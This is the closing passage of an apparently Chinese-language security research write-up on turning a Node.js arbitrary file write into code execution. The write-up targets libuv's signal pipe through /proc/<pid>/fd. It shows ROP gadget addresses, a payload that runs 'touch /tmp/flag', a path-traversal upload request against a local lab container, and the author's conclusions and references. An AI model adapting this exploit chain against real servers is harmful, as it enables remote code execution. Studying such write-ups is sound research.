mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68
pop_rdi_ret = 0x00000000029088e6
mov_rax_rax_ret = 0x00000000011b6524
add_rax_rcx_ret = 0x00000000016e1c42
xor_r14b_ret = 0x0000000002564072
jmp_rax = 0x0000000002237647
__assert_fail_got = 0x00000000064A6048
bss_addr = 0x00000000064D1060

content = p64(0x3b49a48 - 0x60) + p64(0x1a9c210) + b'a'*0x80
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(0x742F206863756F74)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141) + p64(0x4141414141414141) + p64(0x4141414141414141)
content += p64(pop_rax_rcx_ret) + p64(bss_addr+8) + p64(0x3B67616C662F706D)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141) + p64(0x4141414141414141) + p64(0x4141414141414141)
content += p64(pop_rdi_ret) + p64(bss_addr)
content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620)
content += p64(mov_rax_rax_ret)
content += p64(add_rax_rcx_ret)
content += p64(xor_r14b_ret)
content += p64(jmp_rax)

a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/82/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://172.17.0.2:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

img

执行成功

img

总结

  1. nodejs官方不认为这个是漏洞,所以这个将不会被修复
  2. 利用条件需要知道pidof node并且需要知道管道id总体实战利用价值不高

参考链接

https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433

https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/

https://bestwing.me/Exploiting%20File%20Writes%20in%20Hardened%20Environments.html

https://www.youtube.com/watch?v=8FFsORk8snE